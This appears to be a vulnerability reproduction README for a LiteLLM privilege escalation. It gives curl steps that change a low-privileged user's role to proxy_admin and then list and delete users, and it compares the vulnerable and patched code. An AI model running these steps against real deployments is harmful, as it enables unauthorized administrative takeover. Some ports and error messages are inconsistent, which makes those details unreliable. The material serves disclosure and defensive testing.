
The code for personally reproducing the corresponding vulnerability
/user/updateLiteLLM v1.83.7 (versions before v1.83.10)
/user/updateendpoint allows low-privileged users with access to this endpoint to modify their ownuser_rolefield toproxy_adminwhen updating their account, achieving unauthorized privilege escalation.
| Field | Value |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.10 (confirmed on v1.83.7) |
| Fixed | v1.83.10+ (added permission check for modifying user_role field) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM's /user/update endpoint is used to update user attributes. In affected versions, the can_user_call_user_update() function of /user/update checks whether the user is authorized to update the specified user (allowing users to update their own records), but imposes no restrictions on which fields can be modified.
This means any user who can access the /user/update endpoint (for example, users granted route permissions by an administrator, or attackers who gain access to this endpoint through other vulnerabilities) can escalate their own role to proxy_admin by modifying their user_role field, gaining full access to all administrative endpoints.
Admin creates API key with /user/update route permission for internal_user
→ internal_user gains route-level access
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Role escalated to proxy_admin
→ GET /user/list (verify admin access)
The two vulnerabilities can be chained: CVE-2026-47101 is used to create a wildcard route key (accessing
/user/update), and CVE-2026-47102 is used to escalate one's own role toproxy_admin.
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.83.7-stable)
docker compose up -d litellm
# Wait for service readiness (about 10-30 seconds)
sleep 15
# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10
Expected output should contain logs indicating successful startup, such as Uvicorn running on http://0.0.0.0:4000.
Use the master key to create a low-privilege internal_user account:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
The admin creates an API key with /user/update route access for internal_user. This is the typical way to gain access to the /user/update endpoint in a real environment:
# Use master key to create a key with /user/update route
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Expected output:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Using the key with /user/update route permission obtained in the previous step, escalate the user role to proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Vulnerability point:
user_rolehas been changed frominternal_usertoproxy_admin! The/user/updateendpoint allows users to modify their ownuser_rolefield without any field-level permission restrictions.
Verify the role escalation via the /user/list endpoint (using the original internal_user API key, which has no route restrictions; after escalation to proxy_admin, it automatically gains admin privileges):
# Use the key that has been escalated to proxy_admin (original internal_user key, no route restrictions)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Expected output:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Using the obtained proxy_admin privileges, any user can be deleted via /user/delete (again using the original internal_user API key):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Expected output:
1
The above steps have been integrated into demo.sh, which can be executed directly:
# Full reproduction (includes comparison between vulnerable and fixed versions)
bash demo.sh
Start the fixed version (v1.83.10-stable) to verify that CVE-2026-47102 has been patched:
docker compose --profile fixed up -d litellm-fixed
Create an internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Create a key with /user/update route:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Attempt to escalate privileges (expected to be blocked):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Expected output (fixed version blocks unauthorized request):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparison with vulnerable version:
| Test Scenario | Vulnerable Version (v1.83.7) | Fixed Version (v1.83.10) |
|---|---|---|
| Route key modifies user_role | ✅ Successfully escalated to proxy_admin | ❌ Blocked ("Only proxy admins can modify user roles.") |
| Access /user/list | ✅ Successfully retrieved user list | ❌ Blocked |
The root cause of the vulnerability lies in the can_user_call_user_update() function of the /user/update endpoint:
/user/update — Missing field-level authorization# Vulnerable code — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # Admin can update any user
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ User can update their own record — including the user_role field!
return False
Fix (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # Admin can still update any user and any field
elif user_api_key_dict.user_id == user_info.user_id:
# Restrict fields non-admin can modify
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
An attacker needs an API key that can access the /user/update endpoint. This can be obtained by:
/user/update route/key/generate to create a wildcard key/user/update in some configurationsStep 1: Obtain an API key with /user/update route permission
Step 2: Call /user/update to escalate role:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Step 3: Verify admin privileges:
GET /user/list
Authorization: Bearer sk-route-key
The fixed version adds field-level authorization checks in /user/update:
metadatauser_role field — only proxy_admin can modify user rolesError message: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
/user/update calls with user_role changes for anomalous activityDisclaimer: This content is provided for educational purposes and authorized security testing only.
| Item | CVE-2026-47101 | CVE-2026-47102 |
|---|
| Vulnerability Focus | /key/generate does not validate allowed_routes | /user/update lacks field-level authorization |
| Attack Prerequisite | internal_user can directly call /key/generate | Must first obtain /user/update route access |
| Fix Version | v1.83.14 | v1.83.10 |